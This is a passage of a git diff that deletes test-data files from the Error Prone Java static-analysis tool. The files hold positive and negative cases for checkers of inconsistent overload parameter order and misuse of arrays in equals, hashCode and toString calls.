quux(@Bar @Baz Object object) { - return object.hashCode(); - } - - // BUG: Diagnostic contains: quux(Object object, String string, int x, int y) - abstract int quux(String string, int x, int y, @Bar @Baz Object object); - - abstract int norf(@Bar @Baz String string); - - // BUG: Diagnostic contains: norf(String string, Object object) - abstract int norf(Object object, @Baz @Bar String string); -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java deleted file mode 100644 index 74b1634d5ef..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsPositiveCasesGeneral { - - public void foo(Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int i) - public void foo(int i, Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int i, String string) - public void foo(String string, Object object, int i) {} - - // BUG: Diagnostic contains: bar(int i, int j, String x, String y, Object object) - public void bar(Object object, String x, String y, int i, int j) {} - - public void bar(int i, int j) {} - - // BUG: Diagnostic contains: bar(int i, int j, String x, String y) - public void bar(String x, String y, int i, int j) {} - - public void baz(int i, int j) {} - - public void baz(Object object) {} - - // BUG: Diagnostic contains: baz(int i, int j, String x, Object object) - public void baz(String x, int i, int j, Object object) {} - - public void quux(int x, int y, String string) {} - - // BUG: Diagnostic contains: quux(int x, int y, Object object) - public void quux(Object object, int y, int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java deleted file mode 100644 index 56f68ac0902..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -import java.util.List; - -public final class InconsistentOverloadsPositiveCasesGenerics { - - // BUG: Diagnostic contains: foo(List numbers, List> nestedNumbers) - public void foo(List> nestedNumbers, List numbers) {} - - public void foo(List numbers) {} - - // BUG: Diagnostic contains: foo(Iterable numbers, String description) - public void foo(String description, Iterable numbers) {} - - public void bar(int x) {} - - // BUG: Diagnostic contains: bar(int x, List> strings) - public void bar(List> strings, int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java deleted file mode 100644 index 56e4ff4c1a6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsPositiveCasesInterleaved { - - // BUG: Diagnostic contains: baz(int x, String string, int y) - public void baz(int y, int x, String string) {} - - // BUG: Diagnostic contains: foo(int x, int y, int z, String string) - public void foo(int x, int z, int y, String string) {} - - public void foo(int x, int y) {} - - public void bar(String string, Object object) {} - - // BUG: Diagnostic contains: baz(int x, String string) - public void baz(String string, int x) {} - - // BUG: Diagnostic contains: foo(int x, int y, int z) - public void foo(int z, int x, int y) {} - - // BUG: Diagnostic contains: bar(String string, Object object, int x, int y) - public void bar(int x, int y, String string, Object object) {} - - public void baz(int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java deleted file mode 100644 index e4481b80723..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -import java.util.List; -import java.util.Map; - -public class InconsistentOverloadsPositiveCasesOverrides { - - class SuperClass { - - void someMethod(String foo, int bar) {} - - // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz) - void someMethod(int bar, String foo, List baz) {} - } - - class SubClass extends SuperClass { - - @Override // no bug - void someMethod(String foo, int bar) {} - - @Override // no bug - void someMethod(int bar, String foo, List baz) {} - - // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz, Map fizz) - void someMethod(int bar, String foo, List baz, Map fizz) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java deleted file mode 100644 index 84fcf664723..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsPositiveCasesSimple { - - public void foo(Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int x, int y) - public void foo(int x, int y, Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int x, int y, String string) - public void foo(String string, int y, Object object, int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java deleted file mode 100644 index bd0dce4ca67..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public abstract class InconsistentOverloadsPositiveCasesVarargs { - - public void foo(String... rest) {} - - public void foo(int x, String... rest) {} - - // BUG: Diagnostic contains: foo(int x, int y, String... rest) - public void foo(int y, int x, String... rest) {} - - abstract void bar(float x, float y); - - // BUG: Diagnostic contains: bar(float x, float y, float z, Object... rest) - abstract void bar(float z, float y, float x, Object... rest); - - // BUG: Diagnostic contains: bar(float x, float y, float z, String string) - abstract void bar(float y, String string, float x, float z); - - abstract void bar(Object... rest); -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java deleted file mode 100644 index 0e95922b81b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayEqualsNegativeCases { - public void neitherArray() { - Object a = new Object(); - Object b = new Object(); - - if (a.equals(b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - - if (Objects.equal(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } - - public void firstArray() { - Object[] a = new Object[3]; - Object b = new Object(); - - if (a.equals(b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - - if (Objects.equal(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } - - public void secondArray() { - Object a = new Object(); - Object[] b = new Object[3]; - - if (a.equals(b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - - if (Objects.equal(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java deleted file mode 100644 index 99f4ab94109..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Objects; - -/** - * Tests that only run with Java 7 and above. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayEqualsNegativeCases2 { - public void neitherArray() { - Object a = new Object(); - Object b = new Object(); - - if (Objects.equals(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } - - public void firstArray() { - Object[] a = new Object[3]; - Object b = new Object(); - - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } - - public void secondArray() { - Object a = new Object(); - Object[] b = new Object[3]; - - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java deleted file mode 100644 index 8ef96b07576..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Objects; - -/** - * Tests that only run with Java 7 and above. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayEqualsPositiveCases2 { - - public void intArray() { - int[] a = {1, 2, 3}; - int[] b = {1, 2, 3}; - - // BUG: Diagnostic contains: Arrays.equals(a, b) - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } - - public void objectArray() { - Object[] a = new Object[3]; - Object[] b = new Object[3]; - - // BUG: Diagnostic contains: Arrays.equals(a, b) - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java deleted file mode 100644 index 2f5b85d46de..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayHashCodeNegativeCases { - - private Object[] objArray = {1, 2, 3}; - private String[] stringArray = {"1", "2", "3"}; - private int[] intArray = {1, 2, 3}; - private byte[] byteArray = {1, 2, 3}; - private Object obj = new Object(); - private String str = "foo"; - - public void objectHashCodeOnNonArrayType() { - int hashCode; - hashCode = obj.hashCode(); - hashCode = str.hashCode(); - } - - public void varagsHashCodeOnNonArrayType() { - int hashCode; - hashCode = Objects.hashCode(obj); - hashCode = Objects.hashCode(str); - } - - public void varagsHashCodeOnObjectOrStringArray() { - int hashCode; - hashCode = Objects.hashCode(objArray); - hashCode = Objects.hashCode((Object[]) stringArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java deleted file mode 100644 index e410c50f23f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Objects; - -/** - * Java 7 specific tests - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayHashCodeNegativeCases2 { - - private Object[] objArray = {1, 2, 3}; - private String[] stringArray = {"1", "2", "3"}; - private int[] intArray = {1, 2, 3}; - private byte[] byteArray = {1, 2, 3}; - private Object obj = new Object(); - private String str = "foo"; - - public void nonVaragsHashCodeOnNonArrayType() { - int hashCode; - hashCode = Objects.hashCode(obj); - hashCode = Objects.hashCode(str); - } - - public void varagsHashCodeOnNonArrayType() { - int hashCode; - hashCode = Objects.hash(obj); - hashCode = Objects.hash(str); - } - - public void varagsHashCodeOnObjectOrStringArray() { - int hashCode; - hashCode = Objects.hash(objArray); - hashCode = Objects.hash((Object[]) stringArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java deleted file mode 100644 index 4b51c3d075d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayHashCodePositiveCases { - private Object[] objArray = {1, 2, 3}; - private String[] stringArray = {"1", "2", "3"}; - private int[] intArray = {1, 2, 3}; - private byte[] byteArray = {1, 2, 3}; - private int[][] multidimensionalIntArray = {{1, 2, 3}, {4, 5, 6}}; - private String[][] multidimensionalStringArray = {{"1", "2", "3"}, {"4", "5", "6"}}; - - public void objectHashCode() { - int hashCode; - // BUG: Diagnostic contains: Arrays.hashCode(objArray) - hashCode = objArray.hashCode(); - // BUG: Diagnostic contains: Arrays.hashCode(stringArray) - hashCode = stringArray.hashCode(); - // BUG: Diagnostic contains: Arrays.hashCode(intArray) - hashCode = intArray.hashCode(); - - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) - hashCode = multidimensionalIntArray.hashCode(); - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) - hashCode = multidimensionalStringArray.hashCode(); - } - - public void guavaObjectsHashCode() { - int hashCode; - // BUG: Diagnostic contains: Arrays.hashCode(intArray) - hashCode = Objects.hashCode(intArray); - // BUG: Diagnostic contains: Arrays.hashCode(byteArray) - hashCode = Objects.hashCode(byteArray); - - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) - hashCode = Objects.hashCode(multidimensionalIntArray); - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) - hashCode = Objects.hashCode(multidimensionalStringArray); - } - - public void varargsHashCodeOnMoreThanOneArg() { - int hashCode; - // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(objArray), - // Arrays.hashCode(intArray)) - hashCode = Objects.hashCode(objArray, intArray); - // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(stringArray), - // Arrays.hashCode(byteArray)) - hashCode = Objects.hashCode(stringArray, byteArray); - - Object obj1 = new Object(); - Object obj2 = new Object(); - // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, Arrays.hashCode(intArray)) - hashCode = Objects.hashCode(obj1, obj2, intArray); - // BUG: Diagnostic contains: Objects.hashCode(obj1, Arrays.hashCode(intArray), obj2) - hashCode = Objects.hashCode(obj1, intArray, obj2); - // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(intArray), obj1, obj2) - hashCode = Objects.hashCode(intArray, obj1, obj2); - - // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, - // Arrays.deepHashCode(multidimensionalIntArray)) - hashCode = Objects.hashCode(obj1, obj2, multidimensionalIntArray); - // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, - // Arrays.deepHashCode(multidimensionalStringArray)) - hashCode = Objects.hashCode(obj1, obj2, multidimensionalStringArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java deleted file mode 100644 index 34ef562111e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringCompoundAssignmentNegativeCases { - public void concatenateCompoundAssign_object() { - Object a = new Object(); - String b = " a string"; - b += a; - } - - public void concatenateCompoundAssign_int() { - int a = 5; - String b = " a string "; - b += a; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java deleted file mode 100644 index ea9c1c4a970..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringCompoundAssignmentPositiveCases { - - private static final int[] a = {1, 2, 3}; - - public void stringVariableAddsArrayAndAssigns() { - String b = "a string"; - // BUG: Diagnostic contains: += Arrays.toString(a) - b += a; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java deleted file mode 100644 index e318151a06a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringConcatenationNegativeCases { - public void notArray() { - Object a = new Object(); - String b = a + " a string"; - } - - public void notArray_refactored() { - Object a = new Object(); - String b = " a string"; - String c = a + b; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java deleted file mode 100644 index df777c64f73..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringConcatenationPositiveCases { - - private static final int[] a = {1, 2, 3}; - - public void stringLiteralLeftOperandIsArray() { - // BUG: Diagnostic contains: Arrays.toString(a) + - String b = a + " a string"; - } - - public void stringLiteralRightOperandIsArray() { - // BUG: Diagnostic contains: + Arrays.toString(a) - String b = "a string" + a; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java deleted file mode 100644 index 6893f048856..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringNegativeCases { - public void objectEquals() { - Object a = new Object(); - - if (a.toString().isEmpty()) { - System.out.println("string is empty!"); - } else { - System.out.println("string is not empty!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java deleted file mode 100644 index 10ce413ae29..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringPositiveCases { - - public void intArray() { - int[] a = {1, 2, 3}; - - // BUG: Diagnostic contains: Arrays.toString(a) - if (a.toString().isEmpty()) { - System.out.println("int array string is empty!"); - } else { - System.out.println("int array string is nonempty!"); - } - } - - public void objectArray() { - Object[] a = new Object[3]; - - // BUG: Diagnostic contains: Arrays.toString(a) - if (a.toString().isEmpty()) { - System.out.println("object array string is empty!"); - } else { - System.out.println("object array string is nonempty!"); - } - } - - public void firstMethodCall() { - String s = "hello"; - - // BUG: Diagnostic contains: Arrays.toString(s.toCharArray()) - if (s.toCharArray().toString().isEmpty()) { - System.out.println("char array string is empty!"); - } else { - System.out.println("char array string is nonempty!"); - } - } - - public void secondMethodCall() { - char[] a = new char[3]; - - // BUG: Diagnostic contains: Arrays.toString(a) - if (a.toString().isEmpty()) { - System.out.println("array string is empty!"); - } else { - System.out.println("array string is nonempty!"); - } - } - - public void throwable() { - Exception e = new RuntimeException(); - // BUG: Diagnostic contains: Throwables.getStackTraceAsString(e) - System.out.println(e.getStackTrace().toString()); - } - - public void arrayOfArrays() { - int[][] a = {}; - // BUG: Diagnostic contains: Arrays.deepToString(a) - System.out.println(a); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java deleted file mode 100644 index 26694d22837..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License 